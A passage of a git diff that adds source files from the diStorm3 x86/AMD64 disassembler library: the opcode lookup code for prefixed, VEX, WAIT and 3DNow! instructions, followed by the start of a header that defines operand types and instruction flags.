+ switch (ps->decodedPrefixes & (INST_PRE_OP_SIZE | INST_PRE_REPS))
+ {
+ case 0:
+ /* Non-prefixed, index = 0. */
+ index = 0;
+ break;
+ case INST_PRE_OP_SIZE:
+ /* 0x66, index = 1. */
+ index = 1;
+ /* Mark that we used it as a mandatory prefix. */
+ ps->isOpSizeMandatory = TRUE;
+ ps->decodedPrefixes &= ~INST_PRE_OP_SIZE;
+ break;
+ case INST_PRE_REP:
+ /* 0xf3, index = 2. */
+ index = 2;
+ ps->decodedPrefixes &= ~INST_PRE_REP;
+ break;
+ case INST_PRE_REPNZ:
+ /* 0xf2, index = 3. */
+ index = 3;
+ ps->decodedPrefixes &= ~INST_PRE_REPNZ;
+ break;
+ default:
+ /*
+ * Now we got a problem, since there are a few mandatory prefixes at once.
+ * There is only one case when it's ok, when the operand size prefix is for real (not mandatory).
+ * Otherwise we will have to return NULL, since the instruction is illegal.
+ * Therefore we will start with REPNZ and REP prefixes,
+ * try to get the instruction and only then check for the operand size prefix.
+ */
+
+ /* If both REPNZ and REP are together, it's illegal for sure. */
+ if ((ps->decodedPrefixes & INST_PRE_REPS) == INST_PRE_REPS) return NULL;
+
+ /* Now we know it's either REPNZ+OPSIZE or REP+OPSIZE, so examine the instruction. */
+ if (ps->decodedPrefixes & INST_PRE_REPNZ) {
+ index = 3;
+ ps->decodedPrefixes &= ~INST_PRE_REPNZ;
+ } else if (ps->decodedPrefixes & INST_PRE_REP) {
+ index = 2;
+ ps->decodedPrefixes &= ~INST_PRE_REP;
+ }
+ /* Mark to verify the operand-size prefix of the fetched instruction below. */
+ checkOpSize = TRUE;
+ break;
+ }
+
+ /* Fetch the inst-info from the index. */
+ ii = inst_get_info(in, index);
+
+ if (checkOpSize) {
+ /* If the instruction doesn't support operand size prefix, then it's illegal. */
+ if ((ii == NULL) || (~INST_INFO_FLAGS(ii) & INST_PRE_OP_SIZE)) return NULL;
+ }
+
+ /* If there was a prefix, but the instruction wasn't found. Try to fall back to use the normal instruction. */
+ if (ii == NULL) ii = inst_get_info(in, 0);
+ return ii;
+}
+
+/* A helper function to look up special VEX instructions.
+ * See if it's a MOD based instruction and fix index if required.
+ * Only after a first lookup (that was done by caller), we can tell if we need to fix the index.
+ * Because these are coupled instructions
+ * (which means that the base instruction hints about the other instruction).
+ * Note that caller should check if it's a MOD dependent instruction before getting in here.
+ */
+static _InstInfo* inst_vex_mod_lookup(_CodeInfo* ci, _InstNode in, _InstInfo* ii, unsigned int index)
+{
+ /* Advance to read the MOD from ModRM byte. */
+ ci->code += 1;
+ ci->codeLen -= 1;
+ if (ci->codeLen < 0) return NULL;
+ if (*ci->code < INST_DIVIDED_MODRM) {
+ /* MOD is not 11, therefore change the index to 8 - 12 range in the prefixed table. */
+ index += 4;
+ /* Make a second lookup for this special instruction. */
+ return inst_get_info(in, index);
+ }
+ /* Return the original one, in case we didn't find a suited instruction. */
+ return ii;
+}
+
+static _InstInfo* inst_vex_lookup(_CodeInfo* ci, _PrefixState* ps)
+{
+ _InstNode in = 0;
+ unsigned int pp = 0, start = 0;
+ unsigned int index = 4; /* VEX instructions start at index 4 in the Prefixed table. */
+ uint8_t vex = *ps->vexPos, vex2 = 0, v = 0;
+ int instType = 0, instIndex = 0;
+
+ /* The VEX instruction will #ud if any of 66, f0, f2, f3, REX prefixes precede. */
+ _iflags illegal = (INST_PRE_OP_SIZE | INST_PRE_LOCK | INST_PRE_REP | INST_PRE_REPNZ | INST_PRE_REX);
+ if ((ps->decodedPrefixes & illegal) != 0) return NULL;
+
+ /* Read the some fields from the VEX prefix we need to extract the instruction. */
+ if (ps->prefixExtType == PET_VEX2BYTES) {
+ ps->vexV = v = (~vex >> 3) & 0xf;
+ pp = vex & 3;
+ /* Implied leading 0x0f byte by default for 2 bytes VEX prefix. */
+ start = 1;
+ } else { /* PET_VEX3BYTES */
+ start = vex & 0x1f;
+ vex2 = *(ps->vexPos + 1);
+ ps->vexV = v = (~vex2 >> 3) & 0xf;
+ pp = vex2 & 3;
+ }
+
+ /* start can be either 1 (0x0f), 2 (0x0f, 0x038) or 3 (0x0f, 0x3a), otherwise it's illegal. */
+ switch (start)
+ {
+ case 1: in = Table_0F; break;
+ case 2: in = Table_0F_38; break;
+ case 3: in = Table_0F_3A; break;
+ default: return NULL;
+ }
+
+ /* pp is actually the implied mandatory prefix, apply it to the index. */
+ index += pp; /* (None, 0x66, 0xf3, 0xf2) */
+
+ /* Read a byte from the stream. */
+ ci->codeLen -= 1;
+ if (ci->codeLen < 0) return NULL;
+
+ in = InstructionsTree[INST_NODE_INDEX(in) + *ci->code];
+ if (in == INT_NOTEXISTS) return NULL;
+
+ instType = INST_NODE_TYPE(in);
+ instIndex = INST_NODE_INDEX(in);
+
+ /*
+ * If we started with 0f38 or 0f3a so it's a prefixed table,
+ * therefore it's surely a VEXed instruction (because of a high index).
+ * However, starting with 0f, could also lead immediately to a prefixed table for some bytes.
+ * it might return NULL, if the index is invalid.
+ */
+ if (instType == INT_LIST_PREFIXED) {
+ _InstInfo* ii = inst_get_info(in, index);
+ /* See if the instruction is dependent on MOD. */
+ if ((ii != NULL) && (((_InstInfoEx*)ii)->flagsEx & INST_MODRR_BASED)) {
+ ii = inst_vex_mod_lookup(ci, in, ii, index);
+ }
+ return ii;
+ }
+
+ /*
+ * If we reached here, obviously we started with 0f. VEXed instructions must be nodes of a prefixed table.
+ * But since we found an instruction (or divided one), just return NULL.
+ * They cannot lead to a VEXed instruction.
+ */
+ if ((instType == INT_INFO) || (instType == INT_INFOEX) || (instType == INT_LIST_DIVIDED)) return NULL;
+
+ /* Now we are left with handling either GROUP or FULL tables, therefore we will read another byte from the stream. */
+ ci->code += 1;
+ ci->codeLen -= 1;
+ if (ci->codeLen < 0) return NULL;
+
+ if (instType == INT_LIST_GROUP) {
+ in = InstructionsTree[instIndex + ((*ci->code >> 3) & 7)];
+ /* Continue below to check prefixed table. */
+ } else if (instType == INT_LIST_FULL) {
+ in = InstructionsTree[instIndex + *ci->code];
+ /* Continue below to check prefixed table. */
+ }
+
+ /* Now that we got to the last table in the trie, check for a prefixed table. */
+ if (INST_NODE_TYPE(in) == INT_LIST_PREFIXED) {
+ _InstInfo* ii = inst_get_info(in, index);
+ /* See if the instruction is dependent on MOD. */
+ if ((ii != NULL) && (((_InstInfoEx*)ii)->flagsEx & INST_MODRR_BASED)) {
+ ii = inst_vex_mod_lookup(ci, in, ii, index);
+ }
+ return ii;
+ }
+
+ /* No VEXed instruction was found. */
+ return NULL;
+}
+
+_InstInfo* inst_lookup(_CodeInfo* ci, _PrefixState* ps)
+{
+ unsigned int tmpIndex0 = 0, tmpIndex1 = 0, tmpIndex2 = 0, rex = ps->vrex;
+ int instType = 0;
+ _InstNode in = 0;
+ _InstInfo* ii = NULL;
+ int isWaitIncluded = FALSE;
+
+ /* See whether we have to handle a VEX prefixed instruction. */
+ if (ps->decodedPrefixes & INST_PRE_VEX) {
+ ii = inst_vex_lookup(ci, ps);
+ if (ii != NULL) {
+ /* Make sure that VEX.L exists when forced. */
+ if ((((_InstInfoEx*)ii)->flagsEx & INST_FORCE_VEXL) && (~ps->vrex & PREFIX_EX_L)) return NULL;
+ /* If the instruction doesn't use VEX.vvvv it must be zero. */
+ if ((((_InstInfoEx*)ii)->flagsEx & INST_VEX_V_UNUSED) && ps->vexV) return NULL;
+ }
+ return ii;
+ }
+
+ /* Read first byte. */
+ ci->codeLen -= 1;
+ if (ci->codeLen < 0) return NULL;
+ tmpIndex0 = *ci->code;
+
+ /* Check for special 0x9b, WAIT instruction, which can be part of some instructions(x87). */
+ if (tmpIndex0 == INST_WAIT_INDEX) {
+ /* Only OCST_1dBYTES get a chance to include this byte as part of the opcode. */
+ isWaitIncluded = TRUE;
+
+ /* Ignore all prefixes, since they are useless and operate on the WAIT instruction itself. */
+ prefixes_ignore_all(ps);
+
+ /* Move to next code byte as a new whole instruction. */
+ ci->code += 1;
+ ci->codeLen -= 1;
+ if (ci->codeLen < 0) return NULL; /* Faster to return NULL, it will be detected as WAIT later anyway. */
+ /* Since we got a WAIT prefix, we re-read the first byte. */
+ tmpIndex0 = *ci->code;
+ }
+
+ /* Walk first byte in InstructionsTree root. */
+ in = InstructionsTree[tmpIndex0];
+ if (in == INT_NOTEXISTS) return NULL;
+ instType = INST_NODE_TYPE(in);
+
+ /* Single byte instruction (OCST_1BYTE). */
+ if ((instType < INT_INFOS) && (!isWaitIncluded)) {
+ /* Some single byte instructions need extra treatment. */
+ switch (tmpIndex0)
+ {
+ case INST_ARPL_INDEX:
+ /*
+ * ARPL/MOVSXD share the same opcode, and both have different operands and mnemonics, of course.
+ * Practically, I couldn't come up with a comfortable way to merge the operands' types of ARPL/MOVSXD.
+ * And since the DB can't be patched dynamically, because the DB has to be multi-threaded compliant,
+ * I have no choice but to check for ARPL/MOVSXD right here - "right about now, the funk soul brother, check it out now, the funk soul brother...", fatboy slim
+ */
+ if (ci->dt == Decode64Bits) {
+ return &II_MOVSXD;
+ } /* else ARPL will be returned because its defined in the DB already. */
+ break;
+
+ case INST_NOP_INDEX: /* Nopnopnop */
+ /* Check for Pause, since it's prefixed with 0xf3, which is not a real mandatory prefix. */
+ if (ps->decodedPrefixes & INST_PRE_REP) {
+ /* Flag this prefix as used. */
+ ps->usedPrefixes |= INST_PRE_REP;
+ return &II_PAUSE;
+ }
+
+ /*
+ * Treat NOP/XCHG specially.
+ * If we're not in 64bits restore XCHG to NOP, since in the DB it's XCHG.
+ * Else if we're in 64bits examine REX, if exists, and decide which instruction should go to output.
+ * 48 90 XCHG RAX, RAX is a true NOP (eat REX in this case because it's valid).
+ * 90 XCHG EAX, EAX is a true NOP (and not high dword of RAX = 0 although it should be a 32 bits operation).
+ * Note that if the REX.B is used, then the register is not RAX anymore but R8, which means it's not a NOP.
+ */
+ if (rex & PREFIX_EX_W) ps->usedPrefixes |= INST_PRE_REX;
+ if ((ci->dt != Decode64Bits) || (~rex & PREFIX_EX_B)) return &II_NOP;
+ break;
+
+ case INST_LEA_INDEX:
+ /* Ignore segment override prefixes for LEA instruction. */
+ ps->decodedPrefixes &= ~INST_PRE_SEGOVRD_MASK;
+ /* Update unused mask for ignoring segment prefix. */
+ prefixes_ignore(ps, PFXIDX_SEG);
+ break;
+ }
+
+ /* Return the 1 byte instruction we found. */
+ return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)];
+ }
+
+ /* Read second byte, still doesn't mean all of its bits are used (I.E: ModRM). */
+ ci->code += 1;
+ ci->codeLen -= 1;
+ if (ci->codeLen < 0) return NULL;
+ tmpIndex1 = *ci->code;
+
+ /* Try single byte instruction + reg bits (OCST_13BYTES). */
+ if ((instType == INT_LIST_GROUP) && (!isWaitIncluded)) return inst_get_info(in, (tmpIndex1 >> 3) & 7);
+
+ /* Try single byte instruction + reg byte OR one whole byte (OCST_1dBYTES). */
+ if (instType == INT_LIST_DIVIDED) {
+
+ /* Checking for inst by REG bits is higher priority if it's found not to be divided instruction. */
+ {
+ _InstNode in2 = InstructionsTree[INST_NODE_INDEX(in) + ((tmpIndex1 >> 3) & 7)];
+ /*
+ * Do NOT check for NULL here, since we do a bit of a guess work,
+ * hence we don't override 'in', cause we might still need it.
+ */
+ instType = INST_NODE_TYPE(in2);
+
+ if (instType == INT_INFO) ii = &InstInfos[INST_NODE_INDEX(in2)];
+ else if (instType == INT_INFOEX) ii = (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in2)];
+ if ((ii != NULL) && (INST_INFO_FLAGS(ii) & INST_NOT_DIVIDED)) return ii;
+ /* ii is reset below. */
+ }
+
+ /* Continue normally because of wait prefix. */
+ if (tmpIndex1 < INST_DIVIDED_MODRM) {
+ /* An instruction which requires a ModR/M byte. Thus it's 1.3 bytes long instruction. */
+ tmpIndex1 = (tmpIndex1 >> 3) & 7; /* Isolate the 3 REG/OPCODE bits. */
+ } else { /* Normal 2 bytes instruction. */
+ /*
+ * Divided instructions can't be in the range of 0x8-0xc0.
+ * That's because 0-8 are used for 3 bits group.
+ * And 0xc0-0xff are used for not-divided instruction.
+ * So the in between range is omitted, thus saving some more place in the tables.
+ */
+ tmpIndex1 -= INST_DIVIDED_MODRM - 8;
+ }
+
+ in = InstructionsTree[INST_NODE_INDEX(in) + tmpIndex1];
+ if (in == INT_NOTEXISTS) return NULL;
+ instType = INST_NODE_TYPE(in);
+
+ if (instType < INT_INFOS) {
+ /* If the instruction doesn't support the wait (marked as opsize) as part of the opcode, it's illegal. */
+ ii = instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)];
+ if ((~INST_INFO_FLAGS(ii) & INST_PRE_OP_SIZE) && (isWaitIncluded)) return NULL;
+ return ii;
+ }
+ /*
+ * If we got here the instruction can support the wait prefix, so see if it was part of the stream.
+ * Examine prefixed table, specially used for 0x9b, since it's optional.
+ * No Wait: index = 0.
+ * Wait Exists, index = 1.
+ */
+ return inst_get_info(in, isWaitIncluded);
+ }
+
+ /* Don't allow to continue if WAIT is part of the opcode, because there are no instructions that include it. */
+ if (isWaitIncluded) return NULL;
+
+ /* Try 2 bytes long instruction (doesn't include ModRM byte). */
+ if (instType == INT_LIST_FULL) {
+ in = InstructionsTree[INST_NODE_INDEX(in) + tmpIndex1];
+ if (in == INT_NOTEXISTS) return NULL;
+ instType = INST_NODE_TYPE(in);
+
+ /* This is where we check if we just read two escape bytes in a row, which means it is a 3DNow! instruction. */
+ if ((tmpIndex0 == _3DNOW_ESCAPE_BYTE) && (tmpIndex1 == _3DNOW_ESCAPE_BYTE)) return &II_3DNOW;
+
+ /* 2 bytes instruction (OCST_2BYTES). */
+ if (instType < INT_INFOS)
+ return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)];
+
+ /*
+ * 2 bytes + mandatory prefix.
+ * Mandatory prefixes can be anywhere in the prefixes.
+ * There cannot be more than one mandatory prefix, unless it's a normal operand size prefix.
+ */
+ if (instType == INT_LIST_PREFIXED) return inst_lookup_prefixed(in, ps);
+ }
+
+ /* Read third byte, still doesn't mean all of its bits are used (I.E: ModRM). */
+ ci->code += 1;
+ ci->codeLen -= 1;
+ if (ci->codeLen < 0) return NULL;
+ tmpIndex2 = *ci->code;
+
+ /* Try 2 bytes + reg instruction (OCST_23BYTES). */
+ if (instType == INT_LIST_GROUP) {
+ in = InstructionsTree[INST_NODE_INDEX(in) + ((tmpIndex2 >> 3) & 7)];
+ if (in == INT_NOTEXISTS) return NULL;
+ instType = INST_NODE_TYPE(in);
+
+ if (instType < INT_INFOS)
+ return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)];
+
+ /* It has to be a prefixed table then. */
+ ii = inst_lookup_prefixed(in, ps);
+ /* RDRAND and VMPTRLD share same 2.3 bytes opcode, and alternate on the MOD bits. See insts.h for more info. */
+ if ((ii != NULL) && (ii->opcodeId == I_VMPTRLD) && (tmpIndex1 >= INST_DIVIDED_MODRM)) return &II_RDRAND;
+ return ii;
+ }
+
+ /* Try 2 bytes + divided range (OCST_2dBYTES). */
+ if (instType == INT_LIST_DIVIDED) {
+ _InstNode in2 = InstructionsTree[INST_NODE_INDEX(in) + ((tmpIndex2 >> 3) & 7)];
+ /*
+ * Do NOT check for NULL here, since we do a bit of a guess work,
+ * hence we don't override 'in', cause we might still need it.
+ */
+ instType = INST_NODE_TYPE(in2);
+
+ if (instType == INT_INFO) ii = &InstInfos[INST_NODE_INDEX(in2)];
+ else if (instType == INT_INFOEX) ii = (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in2)];
+
+ /*
+ * OCST_2dBYTES is complex, because there are a few instructions which are not divided in some special cases.
+ * If the instruction wasn't divided (but still it must be a 2.3 because we are in divided category)
+ * or it was an official 2.3 (because its index was less than 0xc0) -
+ * Then it means the instruction should be using the REG bits, otherwise give a chance to range 0xc0-0xff.
+ */
+ /* If we found an instruction only by its REG bits, AND it is not divided, then return it. */
+ if ((ii != NULL) && (INST_INFO_FLAGS(ii) & INST_NOT_DIVIDED)) return ii;
+ /* Otherwise, if the range is above 0xc0, try the special divided range (range 0x8-0xc0 is omitted). */
+ if (tmpIndex2 >= INST_DIVIDED_MODRM) return inst_get_info(in, tmpIndex2 - INST_DIVIDED_MODRM + 8);
+
+ /* It might be that we got here without touching ii in the above if statements, then it becomes an invalid instruction prolly. */
+ return ii;
+ }
+
+ /* Try 3 full bytes (OCST_3BYTES - no ModRM byte). */
+ if (instType == INT_LIST_FULL) {
+ /* OCST_3BYTES. */
+ in = InstructionsTree[INST_NODE_INDEX(in) + tmpIndex2];
+ if (in == INT_NOTEXISTS) return NULL;
+ instType = INST_NODE_TYPE(in);
+
+ if (instType < INT_INFOS)
+ return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)];
+
+ if (instType == INT_LIST_PREFIXED) return inst_lookup_prefixed(in, ps);
+ }
+
+ /* Kahtchinggg, damn. */
+ return NULL;
+}
+
+/*
+* 3DNow! instruction handling:
+
+* This is used when we encounter a 3DNow! instruction.
+* We can't really locate a 3DNow! instruction before we see two escaped bytes,
+* 0x0f, 0x0f. Then we have to extract operands which are, dest=mmx register, src=mmx register or quadword indirection.
+* When we are finished with the extraction of operands we can resume to locate the instruction by reading another byte
+* which tells us which 3DNow instruction we really tracked down...
+* So in order to tell the extract operands function which operands the 3DNow! instruction require, we need to set up some
+* generic instruction info for 3DNow! instructions.
+
+* In the inst_lookup itself, when we read an OCST_3BYTES which the two first bytes are 0x0f and 0x0f.
+* we will return this special generic II for the specific operands we are interested in (MM, MM64).
+* Then after extracting the operand, we'll call a completion routine for locating the instruction
+* which will be called only for 3DNow! instructions, distinguished by a flag, and it will read the last byte of the 3 bytes.
+*
+* The id of this opcode should not be used, the following function should change it anyway.
+*/
+_InstInfo* inst_lookup_3dnow(_CodeInfo* ci)
+{
+ /* Start off from the two escape bytes gates... which is 3DNow! table.*/
+ _InstNode in = Table_0F_0F;
+
+ int index;
+
+ /* Make sure we can read a byte off the stream. */
+ if (ci->codeLen < 1) return NULL;
+
+ index = *ci->code;
+
+ ci->codeLen -= 1;
+ ci->code += 1;
+ return inst_get_info(in, index);
+}
diff --git a/source/distorm/instructions.h b/source/distorm/instructions.h
new file mode 100644
index 0000000..b8d8a64
--- /dev/null
+++ b/source/distorm/instructions.h
@@ -0,0 +1,463 @@
+/*
+instructions.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef INSTRUCTIONS_H
+#define INSTRUCTIONS_H
+
+#include "config.h"
+#include "prefix.h"
+
+
+/*
+ * Operand type possibilities:
+ * Note "_FULL" suffix indicates to decode the operand as 16 bits or 32 bits depends on DecodeType -
+ * actually, it depends on the decoding mode, unless there's an operand/address size prefix.
+ * For example, the code: 33 c0 could be decoded/executed as XOR AX, AX or XOR EAX, EAX.
+ */
+typedef enum OpType {
+ /* No operand is set */
+ OT_NONE = 0,
+
+ /* Read a byte(8 bits) immediate */
+ OT_IMM8,
+ /* Force a read of a word(16 bits) immediate, used by ret only */
+ OT_IMM16,
+ /* Read a word/dword immediate */
+ OT_IMM_FULL,
+ /* Read a double-word(32 bits) immediate */
+ OT_IMM32,
+
+ /* Read a signed extended byte(8 bits) immediate */
+ OT_SEIMM8,
+
+ /*
+ * Special immediates for instructions which have more than one immediate,
+ * which is an exception from standard instruction format.
+ * As to version v1.0: ENTER, INSERTQ, EXTRQ are the only problematic ones.
+ */
+ /* 16 bits immediate using the first imm-slot */
+ OT_IMM16_1,
+ /* 8 bits immediate using the first imm-slot */
+ OT_IMM8_1,
+ /* 8 bits immediate using the second imm-slot */
+ OT_IMM8_2,
+
+ /* Use a 8bit register */
+ OT_REG8,
+ /* Use a 16bit register */
+ OT_REG16,
+ /* Use a 16/32/64bit register */
+ OT_REG_FULL,
+ /* Use a 32bit register */
+ OT_REG32,
+ /*
+ * If used with REX the reg operand size becomes 64 bits, otherwise 32 bits.
+ * VMX instructions are promoted automatically without a REX prefix.
+ */
+ OT_REG32_64,
+ /* Used only by MOV CR/DR(n). Promoted with REX onlly. */
+ OT_FREG32_64_RM,
+
+ /* Use or read (indirection) a 8bit register or immediate byte */
+ OT_RM8,
+ /* Some instructions force 16 bits (mov sreg, rm16) */
+ OT_RM16,
+ /* Use or read a 16/32/64bit register or immediate word/dword/qword */
+ OT_RM_FULL,
+ /*
+ * 32 or 64 bits (with REX) operand size indirection memory operand.
+ * Some instructions are promoted automatically without a REX prefix.
+ */
+ OT_RM32_64,
+ /* 16 or 32 bits RM. This is used only with MOVZXD instruction in 64bits. */
+ OT_RM16_32,
+ /* Same as OT_RMXX but POINTS to 16 bits [cannot use GENERAL-PURPOSE REG!] */
+ OT_FPUM16,
+ /* Same as OT_RMXX but POINTS to 32 bits (single precision) [cannot use GENERAL-PURPOSE REG!] */
+ OT_FPUM32,
+ /* Same as OT_RMXX but POINTS to 64 bits (double precision) [cannot use GENERAL-PURPOSE REG!] */
+ OT_FPUM64,
+ /* Same as OT_RMXX but POINTS to 80 bits (extended precision) [cannot use GENERAL-PURPOSE REG!] */
+ OT_FPUM80,
+
+ /*
+ * Special operand type for SSE4 where the ModR/M might
+ * be a 32 bits register or 8 bits memory indirection operand.
+ */
+ OT_R32_M8,
+ /*
+ * Special ModR/M for PINSRW, which need a 16 bits memory operand or 32 bits register.
+ * In 16 bits decoding mode R32 becomes R16, operand size cannot affect this.
+ */
+ OT_R32_M16,
+ /*
+ * Special type for SSE4, ModR/M might be a 32 bits or 64 bits (with REX) register or
+ * a 8 bits memory indirection operand.
+ */
+ OT_R32_64_M8,
+ /*
+ * Special type for SSE4, ModR/M might be a 32 bits or 64 bits (with REX) register or
+ * a 16 bits memory indirection operand.
+ */
+ OT_R32_64_M16,
+ /*
+ * Special operand type for MOV reg16/32/64/mem16, segReg 8C /r. and SMSW.
+ * It supports all decoding modes, but if used as a memory indirection it's a 16 bit ModR/M indirection.
+ */
+ OT_RFULL_M16,
+
+ /* Use a control register */
+ OT_CREG,
+ /* Use a debug register */
+ OT_DREG,
+ /* Use a segment register */
+ OT_SREG,
+ /*
+ * SEG is encoded in the flags of the opcode itself!
+ * This is used for specific "push SS" where SS is a segment where
+ * each "push SS" has an absolutely different opcode byte.
+ * We need this to detect whether an operand size prefix is used.
+ */
+ OT_SEG,
+
+ /* Use AL */
+ OT_ACC8,
+ /* Use AX (FSTSW) */
+ OT_ACC16,
+ /* Use AX/EAX/RAX */
+ OT_ACC_FULL,
+ /* Use AX/EAX, no REX is possible for RAX, used only with IN/OUT which don't support 64 bit registers */
+ OT_ACC_FULL_NOT64,
+
+ /*
+ * Read one word (seg), and a word/dword/qword (depends on operand size) from memory.
+ * JMP FAR [EBX] means EBX point to 16:32 ptr.
+ */
+ OT_MEM16_FULL,
+ /* Read one word (seg) and a word/dword/qword (depends on operand size), usually SEG:OFF, JMP 1234:1234 */
+ OT_PTR16_FULL,
+ /* Read one word (limit) and a dword/qword (limit) (depends on operand size), used by SGDT, SIDT, LGDT, LIDT. */
+ OT_MEM16_3264,
+
+ /* Read a byte(8 bits) immediate and calculate it relatively to the current offset of the instruction being decoded */
+ OT_RELCB,
+ /* Read a word/dword immediate and calculate it relatively to the current offset of the instruction being decoded */
+ OT_RELC_FULL,
+
+ /* Use general memory indirection, with varying sizes: */
+ OT_MEM,
+ /* Used when a memory indirection is required, but if the mod field is 11, this operand will be ignored. */
+ OT_MEM_OPT,
+ OT_MEM32,
+ /* Memory dereference for MOVNTI, either 32 or 64 bits (with REX). */
+ OT_MEM32_64,
+ OT_MEM64,
+ OT_MEM128,
+ /* Used for cmpxchg8b/16b. */
+ OT_MEM64_128,
+
+ /* Read an immediate as an absolute address, size is known by instruction, used by MOV (memory offset) only */
+ OT_MOFFS8,
+ OT_MOFFS_FULL,
+ /* Use an immediate of 1, as for SHR R/M, 1 */
+ OT_CONST1,
+ /* Use CL, as for SHR R/M, CL */
+ OT_REGCL,
+
+ /*
+ * Instruction-Block for one byte long instructions, used by INC/DEC/PUSH/POP/XCHG,
+ * REG is extracted from the value of opcode
+ * Use a 8bit register
+ */
+ OT_IB_RB,
+ /* Use a 16/32/64bit register */
+ OT_IB_R_FULL,
+
+ /* Use [(r)SI] as INDIRECTION, for repeatable instructions */
+ OT_REGI_ESI,
+ /* Use [(r)DI] as INDIRECTION, for repeatable instructions */
+ OT_REGI_EDI,
+ /* Use [(r)BX + AL] as INDIRECTIOM, used by XLAT only */
+ OT_REGI_EBXAL,
+ /* Use [(r)AX] as INDIRECTION, used by AMD's SVM instructions */
+ OT_REGI_EAX,
+ /* Use DX, as for OUTS DX, BYTE [SI] */
+ OT_REGDX,
+ /* Use ECX in INVLPGA instruction */
+ OT_REGECX,
+
+ /* FPU registers: */
+ OT_FPU_SI, /* ST(i) */
+ OT_FPU_SSI, /* ST(0), ST(i) */
+ OT_FPU_SIS, /* ST(i), ST(0) */
+
+ /* MMX registers: */
+ OT_MM,
+ /* Extract the MMX register from the RM bits this time (used when the REG bits are used for opcode extension) */
+ OT_MM_RM,
+ /* ModR/M points to 32 bits MMX variable */
+ OT_MM32,
+ /* ModR/M points to 32 bits MMX variable */
+ OT_MM64,
+
+ /* SSE registers: */
+ OT_XMM,
+ /* Extract the SSE register from the RM bits this time (used when the REG bits are used for opcode extension) */
+ OT_XMM_RM,
+ /* ModR/M points to 16 bits SSE variable */
+ OT_XMM16,
+ /* ModR/M points to 32 bits SSE variable */
+ OT_XMM32,
+ /* ModR/M points to 64 bits SSE variable */
+ OT_XMM64,
+ /* ModR/M points to 128 bits SSE variable */
+ OT_XMM128,
+ /* Implied XMM0 register as operand, used in SSE4. */
+ OT_REGXMM0,
+
+ /* AVX operands: */
+
+ /* ModR/M for 32 bits. */
+ OT_RM32,
+ /* Reg32/Reg64 (prefix width) or Mem8. */
+ OT_REG32_64_M8,
+ /* Reg32/Reg64 (prefix width) or Mem16. */
+ OT_REG32_64_M16,
+ /* Reg32/Reg 64 depends on prefix width only. */
+ OT_WREG32_64,
+ /* RM32/RM64 depends on prefix width only. */
+ OT_WRM32_64,
+ /* XMM or Mem32/Mem64 depends on perfix width only. */
+ OT_WXMM32_64,
+ /* XMM is encoded in VEX.VVVV. */
+ OT_VXMM,
+ /* XMM is encoded in the high nibble of an immediate byte. */
+ OT_XMM_IMM,
+ /* YMM/XMM is dependent on VEX.L. */
+ OT_YXMM,
+ /* YMM/XMM (depends on prefix length) is encoded in the high nibble of an immediate byte. */
+ OT_YXMM_IMM,
+ /* YMM is encoded in reg. */
+ OT_YMM,
+ /* YMM or Mem256. */
+ OT_YMM256,
+ /* YMM is encoded in VEX.VVVV. */
+ OT_VYMM,
+ /* YMM/XMM is dependent on VEX.L, and encoded in VEX.VVVV. */
+ OT_VYXMM,
+ /* YMM/XMM or Mem64/Mem256 is dependent on VEX.L. */
+ OT_YXMM64_256,
+ /* YMM/XMM or Mem128/Mem256 is dependent on VEX.L. */
+ OT_YXMM128_256,
+ /* XMM or Mem64/Mem256 is dependent on VEX.L. */
+ OT_LXMM64_128,
+ /* Mem128/Mem256 is dependent on VEX.L. */
+ OT_LMEM128_256
+} _OpType;
+
+/* Flags for instruction: */
+
+/* Empty flags indicator: */
+#define INST_FLAGS_NONE (0)
+/* The instruction we are going to decode requires ModR/M encoding. */
+#define INST_MODRM_REQUIRED (1)
+/* Special treatment for instructions which are in the divided-category but still needs the whole byte for ModR/M... */
+#define INST_NOT_DIVIDED (1 << 1)
+/*
+ * Used explicitly in repeatable instructions,
+ * which needs a suffix letter in their mnemonic to specify operation-size (depend on operands).
+ */
+#define INST_16BITS (1 << 2)
+/* If the opcode is supported by 80286 and upper models (16/32 bits). */
+#define INST_32BITS (1 << 3)
+/*
+ * Prefix flags (6 types: lock/rep, seg override, addr-size, oper-size, REX, VEX)
+ * There are several specific instructions that can follow LOCK prefix,
+ * note that they must be using a memory operand form, otherwise they generate an exception.
+ */
+#define INST_PRE_LOCK (1 << 4)
+/* REPNZ prefix for string instructions only - means an instruction can follow it. */
+#define INST_PRE_REPNZ (1 << 5)
+/* REP prefix for string instructions only - means an instruction can follow it. */
+#define INST_PRE_REP (1 << 6)
+/* CS override prefix. */
+#define INST_PRE_CS (1 << 7)
+/* SS override prefix. */
+#define INST_PRE_SS (1 << 8)
+/* DS override prefix. */
+#define INST_PRE_DS (1 << 9)
+/* ES override prefix. */
+#define INST_PRE_ES (1 << 10)
+/* FS override prefix. Funky Segment :) */
+#define INST_PRE_FS (1 << 11)
+/* GS override prefix. Groovy Segment, of course not, duh ! */
+#define INST_PRE_GS (1 << 12)
+/* Switch operand size from 32 to 16 and vice versa. */
+#define INST_PRE_OP_SIZE (1 << 13)
+/* Switch address size from 32 to 16 and vice versa. */
+#define INST_PRE_ADDR_SIZE (1 << 14)
+/* Native instructions which needs suffix letter to indicate their operation-size (and don't depend on operands). */
+#define INST_NATIVE (1 << 15)
+/* Use extended mnemonic, means it's an _InstInfoEx structure, which contains another mnemonic for 32 bits specifically. */
+#define INST_USE_EXMNEMONIC (1 << 16)
+/* Use third operand, means it's an _InstInfoEx structure, which contains another operand for special instructions. */
+#define INST_USE_OP3 (1 << 17)
+/* Use fourth operand, means it's an _InstInfoEx structure, which contains another operand for special instructions. */
+#define INST_USE_OP4 (1 << 18)
